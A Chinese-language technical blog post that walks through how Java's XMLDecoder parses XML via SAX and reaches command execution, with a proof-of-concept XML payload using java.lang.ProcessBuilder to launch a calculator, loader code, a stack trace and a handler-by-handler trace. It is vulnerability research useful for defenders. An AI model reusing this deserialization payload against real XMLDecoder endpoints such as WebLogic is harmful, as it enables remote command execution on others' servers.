XMLDecoder解析造成的问题
XMLDecoder是java自带的以SAX方式解析xml的类,其在反序列化经过特殊构造的数据时可执行任意命令。在Weblogic中由于多个包 wls-wast
、 wls9_async_response war
、 _async
使用了该类进行反序列化操作,出现了了多个RCE漏洞。
本文不会讲解weblogic的xml相关的洞,只是分析下Java中xml反序列化的流程,采用JDK2U21。
SAX全称为 Simple API for XML
,在Java中有两种原生解析xml的方式,分别是SAX和DOM。两者区别在于:
SAX采用事件驱动的形式来解析xml文档,简单来讲就是触发了事件就去做事件对应的回调方法。
在SAX中,读取到文档开头、结尾,元素的开头和结尾以及编码转换等操作时会触发一些回调方法,你可以在这些回调方法中进行相应事件处理:
自己实现一个基于SAX的解析可以帮我们更好的理解XMLDecoder
package com.xml.java; import org.xml.sax.Attributes; import org.xml.sax.SAXException; import org.xml.sax.helpers.DefaultHandler; import javax.xml.parsers.SAXParser; import javax.xml.parsers.SAXParserFactory; import java.io.File; public class DemoHandler extends DefaultHandler { public static void main(String[] args) { SAXParserFactory saxParserFactory = SAXParserFactory.newInstance(); try { SAXParser parser = saxParserFactory.newSAXParser(); DemoHandler dh = new DemoHandler(); String path = "src/main/resources/calc.xml"; File file = new File(path); parser.parse(file, dh); } catch (Exception e) { e.printStackTrace(); } } @Override public void characters(char[] ch, int start, int length) throws SAXException { System.out.println("characters()"); super.characters(ch, start, length); } @Override public void startDocument() throws SAXException { System.out.println("startDocument()"); super.startDocument(); } @Override public void endDocument() throws SAXException { System.out.println("endDocument()"); super.endDocument(); } @Override public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { System.out.println("startElement()"); for (int i = 0; i < attributes.getLength(); i++) { // getQName()是获取属性名称, System.out.print(attributes.getQName(i) + "=/"" + attributes.getValue(i) + "/"/n"); } super.startElement(uri, localName, qName, attributes); } @Override public void endElement(String uri, String localName, String qName) throws SAXException { System.out.println("endElement()"); System.out.println(uri + localName + qName); super.endElement(uri, localName, qName); } }
输出了
startDocument() startElement() characters() startElement() class="java.lang.ProcessBuilder" characters() startElement() class="java.lang.String" length="1" characters() startElement() index="0" characters() startElement() characters() endElement() string characters() endElement() void characters() endElement() array characters() startElement() method="start" endElement() void characters() endElement() object characters() endElement() java endDocument()
可以看到,我们通过继承SAX的DefaultHandler类,重写其事件方法,就能拿到XML对应的节点、属性和值。那么XMLDecoder也是基于SAX实现的xml解析,不过他拿到节点、属性、值之后通过Expression创建对象及调用方法。接下来我们就来分析下XMLDecoder将XML解析为对象的过程。
所有的xml处理代码均在 com.sun.beans.decoder
包下。先弹一个计算器
<java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1" > <void index="0"> <string>calc</string> </void> </array> <void method="start"/> </object> </java>
package com.xml.java; import java.beans.XMLDecoder; import java.io.BufferedInputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; public class Main { public static void main(String[] args) { String path = "src/main/resources/calc.xml"; File file = new File(path); FileInputStream fis = null; try { fis = new FileInputStream(file); } catch (FileNotFoundException e) { e.printStackTrace(); } BufferedInputStream bis = new BufferedInputStream(fis); XMLDecoder xmlDecoder = new XMLDecoder(bis); xmlDecoder.readObject(); xmlDecoder.close(); } }
运行弹出计算器,在java.lang.ProcessBuilder#start打断点,堆栈如下:
start:1006, ProcessBuilder (java.lang) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:601, Method (java.lang.reflect) invoke:75, Trampoline (sun.reflect.misc) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:601, Method (java.lang.reflect) invoke:279, MethodUtil (sun.reflect.misc) invokeInternal:292, Statement (java.beans) access$000:58, Statement (java.beans) run:185, Statement$2 (java.beans) doPrivileged:-1, AccessController (java.security) invoke:182, Statement (java.beans) getValue:153, Expression (java.beans) getValueObject:166, ObjectElementHandler (com.sun.beans.decoder) getValueObject:123, NewElementHandler (com.sun.beans.decoder) endElement:169, ElementHandler (com.sun.beans.decoder) endElement:309, DocumentHandler (com.sun.beans.decoder) endElement:606, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) emptyElement:183, AbstractXMLDocumentParser (com.sun.org.apache.xerces.internal.parsers) scanStartElement:1303, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) next:2717, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl) next:607, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl) scanDocument:489, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl) parse:835, XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:764, XML11Configuration (com.sun.org.apache.xerces.internal.parsers) parse:123, XMLParser (com.sun.org.apache.xerces.internal.parsers) parse:1210, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers) parse:568, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp) parse:302, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp) run:366, DocumentHandler$1 (com.sun.beans.decoder) run:363, DocumentHandler$1 (com.sun.beans.decoder) doPrivileged:-1, AccessController (java.security) doIntersectionPrivilege:76, ProtectionDomain$1 (java.security) parse:363, DocumentHandler (com.sun.beans.decoder) run:201, XMLDecoder$1 (java.beans) run:199, XMLDecoder$1 (java.beans) doPrivileged:-1, AccessController (java.security) parsingComplete:199, XMLDecoder (java.beans) readObject:250, XMLDecoder (java.beans) main:21, Main (com.xml.java)
XMLDecoder跟进readObject()
跟进parsingComplete()
其中 this.handler
为 DocumentHandler
到这里进入 com.sun.beans.decoder.DocumentHandler#parse
圈住的代码其实和我们写的 DemoHandler
里一模一样,通过 SAXParserFactory
工厂创建了实例,进而 newSAXParser
拿到SAX解析器,调用 parse
解析,那么接下来解析的过程,我们只需要关注DocumentHandler的几个事件函数就行了。
在 DocumentHandler
的构造函数中指定了可用的标签类型
对应了 com.sun.beans.decoder
包中的几个类
在startElement中首先解析 java
标签,然后设置Owner和Parent。
this.getElementHandler(var3)
对应的就是从构造方法中放入 this.handlers
的hashmap取出对应的值,如果不是构造方法中的标签,会抛出异常。
然后解析 object
标签,拿到属性之后通过addAttribute()设置属性
在addAttribute()没有对class属性进行处理,抛给了父类 com.sun.beans.decoder.NewElementHandler#addAttribute
会通过findClass()去寻找 java.lang.ProcessBuilder
类
通过classloader寻找类赋值给type
赋值完之后跳出for循环进入 this.handler.startElement()
,不满足条件。
接下来解析 array
标签,同样使用addAttribute对属性赋值
同样抛给父类 com.sun.beans.decoder.NewElementHandler#addAttribute
处理
继续抛给父类 com.sun.beans.decoder.NewElementHandler#addAttribute
接下来继续设置length属性
最后进入 com.sun.beans.decoder.ArrayElementHandler#startElement
因为ArrayElementHandler类没有0个参数的getValueObject()重载方法,但是它继承了NewElementHandler,所以调用 com.sun.beans.decoder.NewElementHandler#getValueObject()
这个getValueObject重新调用 ArrayElementHandler#getValueObject
两个参数的重载方法
ValueObjectImpl.create(Array.newInstance(var1, this.length))
创建了长度为1、类型为String的数组并返回,到此处理完array标签。
接着处理void,创建VoidElementHandler,设置setOwner和setParent。
调用父类 com.sun.beans.decoder.ObjectElementHandler#addAttribute
设置index属性
继续解析string标签,不再赘述。
解析完所有的开始标签之后,开始解析闭合标签,最开始就是,进入到endElement()
StringElementHandler没有endElement(),调用父类ElementHandler的endElement()
调用本类的getValueObject()
设置value为calc。
接着闭合void
闭合array
然后开始解析 <void method="start"/>
通过父类的addAttribute将this.method赋值为start
随后闭合void标签
调用 endElement
, VoidElementHandler
类没有,所以调用父类 ObjectElementHandler.endElement
调用 NewElementHandler
类无参 getValueObject
然后调用 VoidElementHandler
类有参 getValueObject
,但是 VoidElementHandler
没有这个方法,所以调用 VoidElementHandler
父类 ObjectElementHandler
的有参 getValueObject
protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception { if (this.field != null) { return ValueObjectImpl.create(FieldElementHandler.getFieldValue(this.getContextBean(), this.field)); } else if (this.idref != null) { return ValueObjectImpl.create(this.getVariable(this.idref)); } else { Object var3 = this.getContextBean(); String var4; if (this.index != null) { var4 = var2.length == 2 ? "set" : "get"; } else if (this.property != null) { var4 = var2.length == 1 ? "set" : "get"; if (0 < this.property.length()) { var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1); } } else { var4 = this.method != null && 0 < this.method.length() ? this.method : "new"; } Expression var5 = new Expression(var3, var4, var2); return ValueObjectImpl.create(var5.getValue()); } }
跟进 Object var3 = this.getContextBean()
,因为本类没有getContextBean(),所以调用父类NewElementHandler的getContextBean()
继续调用NewElementHandler父类ElementHandler的getContextBean()
会调用 this.parent.getValueObject()
也就是ObjectElementHandler类,而ObjectElementHandler没有无参getValueObject()方法,会调用其父类NewElementHandler的方法
然后将值赋值给value返回
最终var3的值为 java.lang.ProcessBuilder
。
var4赋值为start
通过Expression的getValue()方法反射调用start,弹出计算器。
两者都是Java对反射的封装,举个例子
package com.xml.java.beans; public class User { private int id; private String name; @Override public String toString() { return "User{" + "id=" + id + ", name='" + name + '/'' + '}'; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String sayHello(String name) { return String.format("你好 %s!", name); } }
package com.xml.java; import com.xml.java.beans.User; import java.beans.Expression; import java.beans.Statement; public class TestMain { public static void main(String[] args) { testStatement(); testExpression(); } public static void testStatement() { try { User user = new User(); Statement statement = new Statement(user, "setName", new Object[]{"张三"}); statement.execute(); System.out.println(user.getName()); } catch (Exception e) { e.printStackTrace(); } } public static void testExpression() { try { User user = new User(); Expression expression = new Expression(user, "sayHello", new Object[]{"小明"}); expression.execute(); System.out.println(expression.getValue()); } catch (Exception e) { e.printStackTrace(); } } }
运行结果
张三 你好 小明!
Expression是可以获得返回值的,方法是getValue()。Statement不能获得返回值。